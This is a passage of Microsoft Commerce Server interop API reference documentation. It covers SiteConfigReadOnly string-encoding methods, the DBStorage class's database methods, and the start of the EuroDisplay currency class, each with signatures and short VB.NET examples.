  • This method can only be used when updating values exposed by the Fields object. The client-side disconnected ADO recordset has no support for arrays or objects as Fields columns. Therefore, the SiteConfigReadOnly object resorts to storing data in an encoded string format.
[Visual Basic .NET]

Example

' oEncoded is an Object
' oArray is an Object
' oSiteConfigReadOnly is a Commerce SiteConfigReadOnly object
oEncoded = oSiteConfigReadOnly.MakeStringFromArray(oArray)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (cs_mscscfg)

See Also

SiteConfigReadOnly Class


SiteConfigReadOnly.MakeStringFromSimpleList Method (PIA)

Use this method to convert a SimpleList object into an encoded string, which can be written to the Fields property.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Function MakeStringFromSimpleList(
  ByRef slist As Object
) As String
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
string MakeStringFromSimpleList(
  ref object slist
);

Parameters

[Visual Basic .NET]
slist
An object reference to the SimpleList object that you want to convert into an encoded string.
[C#]
slist
A SimpleList object that you want to convert into an encoded string.

Return Values

This method returns the encoded string.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Important

  • There is a special group of methods used with multi-valued arrays. These methods are the only approved and recommended way of storing and retrieving multi-valued arrays in the Administration database. You must use the following methods with any property that has the structure of a multi-valued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

Note

  • This method can only be used when updating values exposed by the Fields object. The client-side disconnected ADO recordset has no support for arrays, SimpleLists, or objects as Fields columns. Therefore, the SiteConfigReadOnly object resorts to storing data in an encoded string format.
[Visual Basic .NET]

Example

' vEncoded is a string
' varMySimpleList is a SimpleList object
' oSiteConfigReadOnly is a Commerce SiteConfigReadOnly object
vEncoded = oSiteConfigReadOnly.MakeStringFromSimpleList(varMySimpleList)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (cs_mscscfg)

See Also

SiteConfigReadOnly Class


SiteConfigReadOnly Properties (PIA)

Properties

Property | Type | Description
Fields | ADODB26Lib.Fields | Returns configuration settings of the site and the site resources. This property is read-only.


SiteConfigReadOnly.Fields Property (PIA)

The Fields property is a read-only Fields object. The Fields object contents hold the configuration settings of the site and its resources.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
Imports ADODB26Lib     ‘ for Fields
…
Public ReadOnly Property Fields As Fields
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
using ADODB26Lib;                              //For Fields
…
public Fields Fields {get; }
[C#]

Property Value

This property returns a collection of ADODB26Lib.Field objects.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be used.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (cs_mscscfg)

See Also

SiteConfigReadOnly Class

SiteConfigReadOnly.Initialize


Microsoft.CommerceServer.Interop.Orders

The following table lists and describes the classes contained in the Microsoft.CommerceServer.Interop namespace.

Class | Description
DBStorage | Provides methods for mapping Dictionary and SimpleList objects to and from a database, primarily for the storage of receipt and order information.
EuroDisplay | Converts and formats currency amounts for use where multiple currencies must be displayed.
GenID | Provides methods to generate globally unique identifiers (GUID), and to create and maintain multiple, global sequential counters that are persisted in a database.
OrderForm | Provides in-memory storage of user and purchase information.
OrderGroup | Store, accesses, and computes basket and order information for a site.
OrderGroupManager | Provides methods to manage OrderGroup and OrderForm objects.
ShippingMethodManager | Allows management of multiple shipping methods.
SimpleFindResultInfo | Allows the specification of search criteria when using the OrderGroup and OrderGroupManager objects.
SimpleFindSearchInfo | Allows the specification of search criteria when performing search and delete operations using the OrderGroup and OrderGroupManager objects.
Shipping | Creates shipping cost preview information.


DBStorage Class (PIA)

Use this method to map Dictionary and SimpleList objects to and from the database, primarily for the storage of receipt and order information. The DBStorage object is created as needed on each page.

Methods

Method | Description
CommitData | Updates one or more records in the database storage.
DeleteData | Deletes a row from the database storage, based on the data stored in a Dictionary or OrderForm object.
DeleteDataKey | Deletes a row of data from the database storage, based on the specified key.
GetData | Retrieves a row of data from the database storage, based on a specified key value.
InitStorage | Initializes the object. This method must be called prior to calling any other DBStorage method.
InsertData | Inserts the specified data into the database storage.
LookupData | Retrieves a single row from the database storage, based on the specified column names and values.
LookupMultipleData | Retrieves multiple results from the database storage.
ProcessData | Unpacks the data stored in the MarshalColumn column for a given row, and returns the resulting row in a Dictionary object.

Properties

Property | Type | Description
Mapping | Object | Maps a database column to an entry in the OrderForm or Dictionary object that DBStorage uses to insert and retrieve data. This property is read/write.

Remarks

The DBStorage object serves as an interface between the site database and Dictionary and OrderForm objects. A DBStorage object contains methods for transferring data between the database and the data object.

Using New to instantiate a DBStorage object will return an uninitialized instance of the DBStorage object. Use the InitStorage method to initialize the returned object instance. Attempting to call any other DBStorage method prior to calling the InitStorage method results in an error.

When the DBStorage object retrieves data from the database, it creates the appropriate type of data object (an OrderForm or Dictionary object), stores the requested data there, and then returns the data object. When the DBStorage object is used to save data in the database, you pass it to the OrderForm or Dictionary object containing the data, and the DBStorage method copies the data from the data object into the database.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: commercelib (in commercelib.dll)

See Also

General Purpose Objects


DBStorage Methods (PIA)

Methods

Method | Description
CommitData | Updates one or more records in the database storage.
DeleteData | Deletes a row from the database storage, based on the data stored in a Dictionary or OrderForm object.
DeleteDataKey | Deletes a row of data from the database storage, based on the specified key.
GetData | Retrieves a row of data from the database storage, based on a specified key value.
InitStorage | Initializes the object. This method must be called prior to calling any other DBStorage method.
InsertData | Inserts the specified data into the database storage.
LookupData | Retrieves a single row from the database storage, based on the specified column names and values.
LookupMultipleData | Retrieves multiple results from the database storage.
ProcessData | Unpacks the data stored in the MarshalColumn column for a given row, and returns the resulting row in a Dictionary object.


DBStorage.CommitData Method (PIA)

Use this method to update the database table based on the contents of the specified Dictionary or OrderForm object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub CommitData(
 vtReserved As Object,
 pdispData As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void  CommitData(
 object vtReserved,
 object pdispData
);

Parameters

[Visual Basic .NET]
vtReserved
An Object reserved for future use. The CommitData method ignores the value of this parameter.
pdispData
An object reference to the OrderForm or Dictionary object that contains the updated data.
[C#]
vtReserved
An object reserved for future use. The CommitData method ignores the value of this parameter.
pdispData
An object interface pointer on the OrderForm or Dictionary object that contains the updated data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The CommitData method does not support database tables containing fields of type TimeStamp. Instead, use the vtChanged parameter to the DBStorage.InitStorage method, which provides the same functionality as using TimeStamp fields.

[Visual Basic .NET]

Example

' Order is a Commerce.OrderForm object; OrderFormStorage is
' an initialized Commerce.DBStorage object
Order.order_id = "Order_tmp"
Order.shopper_id = "Shopper_tmp"
OrderFormStorage.CommitData(DBNull.Value, Order)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: commercelib (in commercelib.dll)

See Also

DBStorage Class

DBStorage.InitStorage

DBStorage.InsertData


DBStorage.DeleteData Method (PIA)

Use this method to delete a row from the data source, based on the data stored in the specified Dictionary or OrderForm object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub DeleteData(
 vtReserved As Object,
 pdispData As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void DeleteData(
 object vtReserved,
 object pdispData
);

Parameters

[Visual Basic .NET]
vtReserved
An Object reserved for future use. This parameter is ignored by the DeleteData method.
pdispData
An object reference to the data object to delete. This data object can be either an OrderForm or a Dictionary, but must correspond in type to the object type specified as the ProgID in the initial call to the InitStorage method.
[C#]
vtReserved
An object reserved for future use. This parameter is ignored by the DeleteData method.
pdispData
An object (an OrderForm or a Dictionary) specifying what is to be deleted, but the type of pDispData must correspond in type to the object type specified as the ProgID in the initial call to the InitStorage method.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The DeleteDataKey method differs from the DeleteData method in that the DeleteDataKey requires only the value stored in the key column of the underlying table. This is the column specified as the key to the underlying table through a previous call to the InitStorage method.

Thus, if you specify an IDENTITY field in an SQL table as the key into the data source, you can delete all the columns for a specified row by simply providing the appropriate counter value. Alternatively, you can initialize a Dictionary object to the values stored in one or more columns, and pass this initialized object to the DeleteData method.

[Visual Basic .NET]

Example

' Order is a Commerce.OrderForm object; OrderFormStorage is
' an initialized Commerce.DBStorage object
Order.order_id = "Order_tmp"
OrderFormStorage.DeleteData(DBNull.Value, Order)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: commercelib (in commercelib.dll)

See Also

DBStorage Class

DBStorage.InitStorage

DBStorage.DeleteDataKey

DBStorage.InsertData


DBStorage.DeleteDataKey Method (PIA)

Use this method to delete a row of data, based on the specified key value.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub DeleteDataKey(
 vtReserved As Object,
 vtKey As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void DeleteDataKey(
 object vtReserved,
 object vtKey
);

Parameters

[Visual Basic .NET]
vtReserved
This parameter is reserved for future use and is ignored by the current implementation of the DeleteDataKey method. This parameter is required for compatibility with Site Server 3.0 Commerce Edition, but is not used.
vtKey
An Object that contains the key value for the row to delete. This key corresponds to the column designated as the table key in the initial call to the InitStorage method. Thus, if the call to the InitStorage method specifies column "some_column" as the table key, then the DeleteDataKey method searches "some_column" for the value stored in the vtKey parameter, and deletes the corresponding row of data.
[C#]
vtReserved
This parameter is reserved for future use and is ignored by the current implementation of the DeleteDataKey method. This parameter is required for compatibility with Site Server 3.0 Commerce Edition, but is not used.
vtKey
An object that contains the key value for the row to delete. This key corresponds to the column designated as the table key in the initial call to the InitStorage method. Thus, if the call to the InitStorage method specifies column "some_column" as the table key, then the DeleteDataKey method searches "some_column" for the value stored in the vtKey parameter, and deletes the corresponding row of data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

DeleteDataKey method differs from the DeleteData method in that the DeleteDataKey requires only the value stored in the key column of the underlying table. This is the column specified as the key to the underlying table through a previous call to the InitStorage method.

[Visual Basic .NET]

Example

' Order is a Commerce.OrderForm object; OrderFormStorage is
' an initialized Commerce.DBStorage object
Order.shopper_id = "Shopper_tmp"
OrderFormStorage.DeleteDataKey(DBNull.Value, _
  "1234567890WSXCDERFVBGTRESWER")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: commercelib (in commercelib.dll)

See Also

DBStorage Class

DBStorage.InitStorage

DBStorage.DeleteData

DBStorage.InsertData


DBStorage.GetData Method (PIA)

Use this method to retrieve a row of data from the database, based on the specified key value. If the data is found, this method creates and returns an OrderForm or Dictionary object containing the requested data.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function GetData(
 vtReserved As Object,
 vtKey As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object GetData(
 object vtReserved,
 object vtKey
);

Parameters

[Visual Basic .NET]
vtReserved
An Object reserved for future use. The GetData method ignores any value stored in this parameter.
vtKey
An Object that contains the key value on which to base the search. The GetData method searches for this value in the table column specified as the table key in the initial call to the InitStorage method.
[C#]
vtReserved
A object reserved for future use. The GetData method ignores any value stored in this parameter.
vtKey
A object that contains the key value on which to base the search. The GetData method searches for this value in the table column specified as the table key in the initial call to the InitStorage method.

Return Values

[Visual Basic .NET] If this method completes successfully, an Object containing a Dictionary or OrderForm object that contains the retrieved row is returned.

[C#] This method returns an object containing a Dictionary or OrderForm object used to return the retrieved row.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

For performance reasons, the GetData method is preferred over the LookupData method when the column being searched is the key.

[Visual Basic .NET]

Example

' Order is a Commerce.OrderForm object; OrderFormStorage is
' an initialized Commerce.DBStorage object; oVar is an Object
Order.order_id = "Order_tmp"
oVar = OrderFormStorage.GetData(DBNull.Value, Order.order_id)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: commercelib (in commercelib.dll)

See Also

DBStorage Class

DBStorage.InitStorage

DBStorage.LookupData


DBStorage.InitStorage Method (PIA)

Use this method to initialize the DBStorage object. You must call this method immediately after object creation and before calling any other object methods. Attempting to call any other method prior to calling the InitStorage method results in an error.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub InitStorage(
 vtDataSourceOrDSN As Object,
 Table As String,
 bstrKey As String,
 vtProgID As Object,
 vtMarshal As Object,
 vtChanged As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void InitStorage(
 object vtDataSourceOrDSN,
 string Table,
 string bstrKey,
 object vtProgID,
 object vtMarshal,
 object vtChanged
);

Parameters

[Visual Basic .NET]
vtDataSourceOrDSN
An Object that contains a valid object reference to a DataSource object, or data source name (DSN).
Table
A String that contains the name of the table within the data source in which to maintain the data.
bstrKey
A String that contains the column name that the DBStorage object uses as a key into the database table. This column should be marked to contain unique values.
vtProgID
An Object that contains the ProgID of the object in which data passed to or retrieved by DBStorage methods will be stored. This parameter can be Commerce.Dictionary for storing Dictionary objects or Commerce.OrderForm for storing OrderForm objects. Methods (such as GetData) that return data from the database create an instance of the specified class with the requested data stored within it.
vtMarshal
An Object that contains the text string that, if specified, indicates the name of a column in the database into which the CommitData or InsertData method will store all the data from the specified data object, serialized into an encoded binary format. (Objects in the stored item that have corresponding column names in the database are also stored in those columns in the database.) If this argument is specified, the database must contain a column by that name, or an error will result. If this argument is not specified, then no data from the object is serialized and saved in the database in binary format, and items in the object that do not have corresponding columns in the database are discarded. When using a Microsoft SQL Server database, the maximum size of the data in this column is the same as the maximum size for the SQL Server text/image data type (2,147,483,647 bytes).
vtChanged
An Object that contains the name of a key or attribute in the database into which to write the date when the data is changed. (If you do not specify a column name that exists in the database, the change date will be included in the marshaled data.)
[C#]
vtDataSourceOrDSN
An object which references a valid DataSource object, or which references a data source name (DSN).
Table
A string that contains the name of the table within the data source in which to maintain the data.
bstrKey
A string that contains the column name that the DBStorage object uses as a key into the database table. This column should be marked to contain unique values.
vtProgID
An object that contains the ProgID of the object in which data passed to or retrieved by DBStorage methods will be stored. This parameter can be Microsoft.CommerceServer.Interop.Dictionary for storing Dictionary objects or Microsoft.CommerceServer.Interop.Orders.OrderForm for storing OrderForm objects. Methods (such as GetData) that return data from the database create an instance of the specified class with the requested data stored within it.
vtMarshal
An object that contains the text string that, if specified, indicates the name of a column in the database into which the CommitData or InsertData method will store all the data from the specified data object, serialized into an encoded binary format. (Objects in the stored item that have corresponding column names in the database are also stored in those columns in the database.) If this argument is specified, the database must contain a column by that name, or an error will result. If this argument is not specified, then no data from the object is serialized and saved in the database in binary format, and items in the object that do not have corresponding columns in the database are discarded. When using a Microsoft SQL Server database, the maximum size of the data in this column is the same as the maximum size for the SQL Server text/image data type (2,147,483,647 bytes).
vtChanged
An object that contains the name of a key or attribute in the database into which to write the date when the data is changed. (If you do not specify a column name that exists in the database, the change date will be included in the marshaled data.)

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' strDSN is the data source connection string; OrderFormStorage
' is an uninitialized Commerce.DBStorage object; "Site_basket"
' is the name of the table in the referenced data source;
' "shopper_id" is the primary key in the "Site_basket" table;
' "marshalled_order" is the name of the column for this DBStorage
' object instance to use for marshaling data; "date_changed"
' is the name of the database column that contains the date
' of the most recent change
' This sample initializes OrderFormStorage as an OrderForm storage object:

OrderFormStorage.InitStorage(strDSN, "Site_basket", "shopper_id", _
    "Commerce.OrderForm", "marshalled_order", "date_changed")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: commercelib (in commercelib.dll)

See Also

DBStorage Class


DBStorage.InsertData Method (PIA)

Use this method to insert the contents of the specified Dictionary object into a database row.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub InsertData(
 vtReserved As Object,
 pdispData As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void InsertData(
 object vtReserved,
 object pdispData
);

Parameters

[Visual Basic .NET]
vtReserved
An Object reserved for future use. This parameter is ignored by the InsertData method.
pdispData
An object reference to the Dictionary object or OrderForm object that contains the data to insert.
[C#]
vtReserved
An object reserved for future use. This parameter is ignored by the InsertData method.
pdispData
A Dictionary object or OrderForm object that contains the data to insert.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' Order is a Commerce.OrderForm object; OrderFormStorage is
' an initialized Commerce.DBStorage object

Order.order_id = "Order_tmp"
Order.shopper_id = "Shopper_tmp"
OrderFormStorage.InsertData(DBNull.Value, Order)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: commercelib (in commercelib.dll)

See Also

DBStorage Class

DBStorage.InitStorage

DBStorage.CommitData


DBStorage.LookupData Method (PIA)

Use this method to retrieve a single row from the data source based upon column names and values that you specify. If the data is found, this method creates and returns an OrderForm or Dictionary object (depending on the vtProgID parameter passed to the InitStorage method) containing the requested data.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function LookupData(
 vtReserved As Object,
 ByRef pvtKeys As Object,
 ByRef pvtValues As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object LookupData(
 object vtReserved,
 ref object pvtKeys,
 ref object pvtValues
);

Parameters

[Visual Basic .NET]
vtReserved
An Object reserved for future use. The LookupData method ignores any value stored in this parameter.
pvtKeys
An Object that identifies the columns in which to search for the data. This Object can be either a SimpleList object or a System.Array.
pvtValues
An Object that identifies the values for which to search. This parameter can be either a SimpleList object or a System.Array.
[C#]
vtReserved
An object reserved for future use. The LookupData method ignores any value stored in this parameter.
pvtKeys
A reference to an object that identifies the columns in which to search for the data. This object can be either a SimpleList object or a System.Array.
pvtValues
A reference to an object that identifies the values for which to search. This parameter can be either a SimpleList object or a System.Array.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that contains the result of the lookup; this Object references a Dictionary object that contains the row data.

[C#] This method returns the result of the lookup: a Dictionary object that contains the row data. If the method call is unsuccessful, this parameter evaluates to null.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

[Visual Basic .NET]

The pvtKeys and pvtValues parameters are arrays that you pass to the LookupData method share in an index-to-index relationship. This means that they must contain an identical number of members and that the value stored in the pvtValues (N) parameter will be searched for in the column specified by the pvtKeys (N) parameter.

If the arrays contain more than one element, the LookupData method searches for a row in which all of the column/value pairs match.

Because the LookupData method returns only a single row of data, specifying column and value information that would result in the retrieval of more than one row results in an error.

[C#]

The pvtRet parameter points to valid data only if the method returns successfully.

The pvtKeys and pvtValues parameters are arrays that you pass to the LookupData method share in an index-to-index relationship. This means that they must contain an identical number of members and that the value stored in the pvtValues (N) parameter will be searched for in the column specified by the pvtKeys (N) parameter.

If the arrays contain more than one element, the LookupData method searches for a row in which all of the column/value pairs match.

Because the LookupData method returns only a single row of data, specifying column and value information that would result in the retrieval of more than one row results in an error.

[Visual Basic .NET]

Example

' OrderFormStorage is an initialized DBStorage object instance.
' In the following example, the LookupData method searches
' for a row in which both the shopper_id column contains the
' value returned by the shopper_id variable and the shopper_name
' column contains the customer name returned by the Page.Request method:

' Attempt to determine if this shopper is already registered.
shopper_id = Page.GetShopperID

Dim keys(1) As String
Dim values(1) As Object
keys(0) = "shopper_id"
keys(1) = "shopper_name"
values(0) = shopper_id
values(1) = Page.Request("shopper_name", Null, 1, 60)
exists = OrderFormStorage.LookupData(DBNull.Value, keys, values)
If IsNull(exists) Then
' This shopper id and name does not exist in the specified columns

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: commercelib (in commercelib.dll)

See Also

DBStorage Class

DBStorage.InitStorage

DBStorage.GetData

DBStorage.LookupMultipleData


DBStorage.LookupMultipleData Method (PIA)

Use this method to retrieve multiple results from the database table. If the data is found, this method creates a SimpleList object that contains OrderForm or Dictionary objects, depending on the vtProgID parameter passed to the InitStorage method.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function LookupMultipleData(
 vtReserved As Object,
 ByRef pvtKeys As Object,
 ByRef pvtValues As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object LookupMultipleData(
 object vtReserved,
 ref object pvtKeys,
 ref object pvtValues
);

Parameters

[Visual Basic .NET]
vtReserved
An Object reserved for future use. The LookupData method ignores any value stored in this parameter.
pvtKeys
An Object that identifies the columns in which to search for the data. This Object can be either a SimpleList object or a System.Array.
pvtValues
An Object that identifies the values for which to search. This parameter can be either a SimpleList object or a System.Array.
[C#]
vtReserved
An object reserved for future use. The LookupData method ignores any value stored in this parameter.
pvtKeys
A reference to the object that identifies the columns in which to search for the data. This object can be either a SimpleList object or a System.Array.
pvtValues
A pointer to the object that identifies the values for which to search. This parameter can be either a SimpleList object or a System.Array.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that references a SimpleList object that consists of one or more Dictionary objects, one for each row of data returned.

[C#] This method returns the result of the lookup. This object references a SimpleList object that consists of one or more Dictionary objects, one for each row of data returned. If the method fails, this parameter is set to null.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' Order is a Commerce.OrderForm object; OrderFormStorage is
' an initialized Commerce.DBStorage object

Order.order_id = "Order_tmp"
Order.shopper_id = "Shopper_tmp"
OrderFormStorage.InsertData(DBNull.Value, Order)
Dim keyArray As String() = {“order_id”}
Dim valueArray As String() = {“Order_tmp”}
OrderFormStorage.LookupMultipleData(DBNull.Value, keysArray, _
  valueArray)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: commercelib (in commercelib.dll)

See Also

DBStorage Class

DBStorage.InitStorage

DBStorage.GetData

DBStorage.LookupData


DBStorage.ProcessData Method (PIA)

Use this method to unpack the data stored in the MarshalColumn database column for a given row, and returns the resulting row in a Dictionary object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function ProcessData(
 pdispData As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object ProcessData(
 object pdispData
);

Parameters

[Visual Basic .NET]
pdispData
An object reference to a Dictionary object that contains the marshaled data.
[C#]
pdispData
A Dictionary object that contains the marshaled data.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an object reference to a Dictionary object that contains the unmarshaled data.

[C#] This method returns the Dictionary object used containing the unmarshaled data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' dSource is a Dictionary object; OrderFormStorage is
' an initialized Commerce.DBStorage object; dDictionary is a
' Dictionary object which will receive the unmarshaled data
Order.order_id = "Order_tmp"
Order.shopper_id = "Shopper_tmp"
dDictionary = OrderFormStorage.ProcessData(dSource)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: commercelib (in commercelib.dll)

See Also

DBStorage Class

DBStorage.InitStorage


DBStorage Properties (PIA)

Properties

Property | Type | Description
Mapping | Object | Maps a database column to an entry in the OrderForm or Dictionary object that DBStorage uses to insert and retrieve data. This property is read/write.


DBStorage.Mapping Property (PIA)

The Mapping property maps a database column to an entry in the OrderForm or Dictionary object that the DBStorage object uses to insert and retrieve data.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Property Mapping As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object Mapping {get; set; }

Property Value

A Dictionary that is set for this DBStorage object instance.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

[Visual Basic .NET] A mapping Dictionary object makes it possible to map the column names in a database table to one or more names that you choose, usually for display to the site user. Suppose, for example, that your database table contains a column named "shopper_name", but that you want to display the contents of this column as the more human-readable "Shopper Name". Consequently, you initialize a "shopper_name" key in a Dictionary object to "Shopper Name", and use this object to set the Mapping property. When you call a DBStorage object data retrieval method, such as GetData, to read a row of data into a Dictionary object, the Dictionary key for the "shopper_name" column reads "Shopper Name". This new mapping means that you do not have to translate the column name to a more human-readable name before displaying its values to the site user. You can simply display the keys and values as they appear in the Dictionary object returned by the GetData method.

[C#]

A mapping Dictionary object makes it possible to map the column names in a database table to one or more names that you choose, usually for display to the site user. Suppose, for example, that your database table contains a column named "shopper_name", but that you want to display the contents of this column as the more human-readable "Shopper Name". Consequently, you initialize a "shopper_name" key in a Dictionary object to "Shopper Name", and pass this Dictionary object to the put_Mapping method. When you call a DBStorage object data retrieval method, such as GetData, to read a row of data into a Dictionary object, the Dictionary key for the "shopper_name" column reads "Shopper Name". This new mapping means that you do not have to translate the column name to a more human-readable name before displaying its values to the site user. You can simply display the keys and values as they appear in the Dictionary object returned by the GetData method.

The Mapping parameter contains valid data only if the property is accessed successfully.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: commercelib (in commercelib.dll)

See Also

DBStorage Class

DBStorage.InitStorage


EuroDisplay Class (PIA)

Use this object to convert and format currency amounts where multiple currencies must be displayed.

Methods

Method | Description
ConvertAltStringToCurr | Converts a string representation of a monetary value in the currency specified by the alternate locale identifier to a currency Object.
ConvertBaseStringToCurr | Converts a string representation of a monetary value in the currency specified by the base locale identifier to a currency Object.
ConvertMoney | Converts the specified currency Object (representing a monetary value in the base currency) to a currency Object representing a monetary value in the alternate currency, using the initialized conversion rate.
FormatAltMoney | Creates a string representation of a currency Object, based on the alternate locale identifier and the alternate currency symbol string.
FormatBaseMoney | Creates a string representation of a currency Object, based on the base locale identifier and the base currency symbol string.
Initialize | Initializes the object with the specified alternate currency symbol, base currency symbol, alternate locale identifier, base locale identifier, and conversion rate.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: eurodisplib (in eurodisplib.dll)


EuroDisplay Methods (PIA)

Methods

Method | Description
ConvertAltStringToCurr | Converts a string representation of a monetary value in the currency specified by the alternate locale identifier to a currency Object.
ConvertBaseStringToCurr | Converts a string representation of a monetary value in the currency specified by the base locale identifier to a currency Object.
ConvertMoney | Converts the specified currency Object (representing a monetary value in the base currency) to a currency Object representing a monetary value in the alternate currency, using the initialized conversion rate.
FormatAltMoney | Creates a string representation of a currency Object, based on the alternate locale identifier and the alternate currency symbol string.
FormatBaseMoney | Creates a string representation of a currency Object, based on the base locale identifier and the base currency symbol string.
Initialize | Initializes the object with the specified alternate currency symbol, base currency symbol, alternate locale identifier, base locale identifier, and conversion rate.


EuroDisplay.ConvertAltStringToCurr Method (PIA)

Use this method to convert a string representation of a monetary value in the currency specified by the alternate locale identifier to a currency Object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function ConvertAltStringToCurr(
  vtMoneyString As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public objectEuroDisplay.ConvertAltStringToCurr(
  object vtMoneyString
);

Parameters

[Visual Basic .NET]
vtMoneyString
An Object that contains the currency string to convert.
[C#]
vtMoneyString
An object that contains the currency string to convert.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a currency Object that contains the converted currency information.

[C#] This method returns an object containing the converted currency information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' oEuroDisp is a Commerce.EuroDisplay object
' oResult is an Object
oResult = oEuroDisp.ConvertAltStringToCurr("23,444.53886")
' In the preceding example, the variable oResult is
' internally rounded to 23444.5389

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: eurodisplib (in eurodisplib.dll)

See Also

EuroDisplay Class

EuroDisplay.ConvertBaseStringToCurr

EuroDisplay.FormatAltMoney


EuroDisplay.ConvertBaseStringToCurr Method (PIA)

Use this method to convert a string representation of a monetary value in the currency specified by the base locale identifier to a currency object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function ConvertBaseStringToCurr(
  vtMoneyString As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object EuroDisplay.ConvertBaseStringToCurr(
  object vtMoneyString
);

Parameters

[Visual Basic .NET]
vtMoneyString
An Object that contains the currency string to convert.
[C#]
vtMoneyString
A object that contains the currency string to convert.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a currency Object that contains the converted currency information.

[C#] This method returns an object containing the converted currency information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' oEuroDisp is a Commerce.EuroDisplay object
' oResult is an Object
